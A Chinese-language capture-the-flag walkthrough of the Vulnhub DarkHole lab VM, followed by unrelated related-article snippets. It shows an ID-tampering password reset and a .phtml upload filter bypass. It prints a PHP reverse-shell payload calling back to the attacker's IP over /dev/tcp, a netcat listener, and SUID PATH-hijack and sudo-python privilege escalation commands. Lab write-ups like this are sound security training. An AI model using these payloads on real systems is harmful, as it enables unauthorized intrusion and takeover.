渗透环境

攻击机:   IP: 192.168.216.129(Kali)

靶机:     IP:192.168.216.130

靶机下载地址:https://www.vulnhub.com/entry/darkhole-1,724/

进行渗透

一、 获取端口信息

nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。

nmap -O -sV -p- -A 192.168.216.130

开放了22和80端口。

二、 寻找WEB漏洞

访问80端口,出现登录框,并且可以注册账户

注册test账户并登录,登陆后跳转到更改用户信息和密码的页面

猜测这里存在越权修改其他用户密码的漏洞,尝试修改自己的密码并抓包

发现有两个id,我们新建的用户id为2,那么原有的用户id应该1,尝试将body里的id修改为1,返回修改成功

猜测原来的用户名为admin,密码刚才我们已经成功修改为admin了,尝试登录

登录成功,且该页面有上传功能。经过测试,这里上传文件只对后缀名进行了过滤,当我们上传php后缀的文件时会失败,但是上传phtml后缀的文件是可以的。这里可以上传一句话木马用蚁剑进行连接,也可以直接上传反向连接的php代码,我们使用后者。

1.phtml内容如下

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.216.129/4444 0>&1'");?>

让目标主机反向连接192.168.216.129(即攻击机)的4444端口

上传1.phtml,显示上传成功,并返回了上传文件的链接

点击红框中的File,跳转到以下URL

http://192.168.216.130/upload/1.phtml

接下来我们在kali上监听4444端口

nc -nlvp 4444

再次访问:http://192.168.216.130/upload/1.phtml

看到已经成功反弹了shell,当前用户是www-data

三、 提权

查看可以登录/bin/bash的用户

cat /etc/passwd | grep /bin/bash

当然也可以通过查看/home目录查看创建的用户

常规思路,查看具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

发现可疑文件/home/john/toto,直接执行该文件

观察其输出,不难猜测,该文件调用了id命令,因此我们可以采用命令劫持的方式进行提权

echo 'chomd +s /bin/bash' > id            #在当前文件夹下写一个id文件
chmod 777 id #更改权限
export PATH=/var/www/html/upload:$PATH #将当前路径加入环境变量
/home/john/toto #执行该文件,会调用我们重写的id

执行时发现我们的chmod +s命令发生了权限错误,即我们无法让自己写的id文件拥有SUID权限,那么只能先放弃在这里进行提权,先使用john的身份进行登录

echo '/bin/bash' > id
/home/john/toto
python3 -c 'import pty;pty.spawn("/bin/bash")' #创建交互式shell

看到我们已经以john的身份登录进来了。

/home/john/下发现password文件

得到john用户的密码root123

查看John用户可执行的特权命令

sudo -l

看到John用户可以以root身份运行python3file.py

因此我们可以尝试修改file.py的内容

echo "import pty;pty.spawn('/bin/bash')" > file.py

当执行这个py文件时,会打开一个可交互的shell

接下来执行这个文件

sudo python3 /home/john/file.py

在这里有一个坑,当我们使用相对路径时会无法执行,使用绝对路径时才可以,我也不知道为啥

此时我们就已经拿到root权限了,flag在/root下,渗透结束

【渗透测试】Vulnhub DarkHole的更多相关文章

  1. [经验分享] OSCP 渗透测试认证

    http://f4l13n5n0w.github.io/blog/2015/05/05/jing-yan-fen-xiang-oscp-shen-tou-ce-shi-ren-zheng/ “120天 ...

  2. Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装

    Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装  一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...

  3. Kali Linux Web 渗透测试秘籍 中文版

    第一章 配置 Kali Linux 简介 在第一章中,我们会涉及如何准备我们的 Kali 以便能够遵循这本书中的秘籍,并使用虚拟机建立带有存在漏洞的 Web 应用的实验室. 1.1 升级和更新 Kal ...

  4. 渗透测试工具BurpSuite做网站的安全测试(基础版)

    渗透测试工具BurpSuite做网站的安全测试(基础版) 版权声明:本文为博主原创文章,未经博主允许不得转载. 学习网址: https://t0data.gitbooks.io/burpsuite/c ...

  5. 渗透测试-信息收集-c段收集

    平时做渗透测试我比较喜欢用lijiejie 写的 subDomainsBrute来爆破子域名 那么爆破完成后就想收集一下网站的c段信息 下面以平安为例 爆破得到子域名为 i.pingan.com.cn ...

  6. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  7. ms08-067漏洞--初识渗透测试--想必很多初学者都会遇到我文中提及的各种问题

    最近读了一本书--<<渗透测试实践指南>>,测试了书中的一些例子后,开始拿ms08-067这个经典的严重漏洞练手,实践当中遇到诸多问题,好在一一解决了,获益匪浅. 在谷歌搜索的 ...

  8. 渗透测试工具Nmap从初级到高级使用教程

    本文由阿德马翻译自国外网站,请尊重劳动成果,转载请注明出处,谢谢 Nmap是一款网络扫描和主机检测的非常有用的工具.Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器.它 ...

  9. chapter1 渗透测试与metasploit

    网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...

  10. Kali Linux渗透测试实战 1.2 环境安装及初始化

    1.2 环境安装及初始化 目录(?)[-] 环境安装及初始化 下载映像 安装虚拟机 安装Kali Linux 安装中文输入法 安装VirtualBox增强工具 配置共享目录和剪贴板 运行 Metasp ...

随机推荐

  1. 【处理元组有关的题型的技巧】codeforces 1677 A. Tokitsukaze and Strange Inequality

    题意 第一行输入一个正整数 \(T(1 \leq T \leq 1000)\),代表共有 \(T\) 组测试用例,对于每组测试用例: 第一行输入一个正整数 \(n(4 \leq n \leq 5000 ...

  2. Mac idea 打不开

    从官网上刚下载的idea,安装完成之后,双击打开,只见一闪而过,软件没有打开. 打开 访达->应用程序->IntelliJ IDEA ->显示包内容 :   image.png 显示 ...

  3. 关于Jetson nano (B02)如何部署Yolov8以及一些必要的知识点

    一.前言 记录一个简单的安装和部署过程,尽管笔者也是按照教程来的,但奈何参考了很多教程,虽然写的都非常好,但是却很散,因此笔者这里想把这些教程的精华提炼出来,汇总并且写在正文处.还是老规矩,笔者也在学 ...

  4. Qt/C++音视频开发69-保存监控pcm音频数据到mp4文件/监控录像/录像存储和回放/264/265/aac/pcm等

    一.前言 用ffmpeg做音视频保存到mp4文件,都会遇到一个问题,尤其是在视频监控行业,就是监控摄像头设置的音频是PCM/G711A/G711U,解码后对应的格式是pcm_s16be/pcm_ala ...

  5. Qt编写linux上视频流播放器(支持海康大华宇视等各种网络摄像机)

    一.前言 在windows上的视频流播放器有很多,而且各个监控厂家无论大厂还是小厂,基本上都提供了客户端,甚至很多第三方的监控平台软件厂商,也都提供了windows的版本,基本的都没有提供linux版 ...

  6. Qt编写地图综合应用34-生成区域轮廓图

    一.前言 区域轮廓图的前提是,如何拿到这些轮廓的js文件,网络上其实能够找到各省市的轮廓的json数据,这些json数据对应内容是各种边界的一些类似 @@CGIUCACAAAAA@Q@ 字符的东西,每 ...

  7. 长连接网关技术专题(十一):揭秘腾讯公网TGW网关系统的技术架构演进

    本文由腾讯技术团队peter分享,原题"腾讯网关TGW架构演进之路",下文进行了排版和内容优化等. 1.引言 TGW全称Tencent Gateway,是一套实现多网统一接入,支持 ...

  8. 记录以下uniapp写小程序然后进行图片上传压缩

    今天记录一下uniapp写小程序上传图片压缩的功能 首先定义上传图片的方法 然后res.tempFilePath[0]就是图片的临时路径 其次定义压缩图片然后获取压缩后图片大小的方法,方法使用canv ...

  9. rabbitmq部署及配置与验证-copy

    1. 场景描述 朋友项目需要弄个测试环境,稍微帮忙了下,系统不复杂,但是需要自己安装mysql.Reids.Es.RabbitMq等,Mq主要用在同步用户信息与发送站内消息和短信上,RabbitMq以 ...

  10. Spring Boot 如何使用拦截器、过滤器、监听器

    过滤器的使用 首先需要实现 Filter接口然后重写它的三个方法 init 方法:在容器中创建当前过滤器的时候自动调用 destory 方法:在容器中销毁当前过滤器的时候自动调用 doFilter 方 ...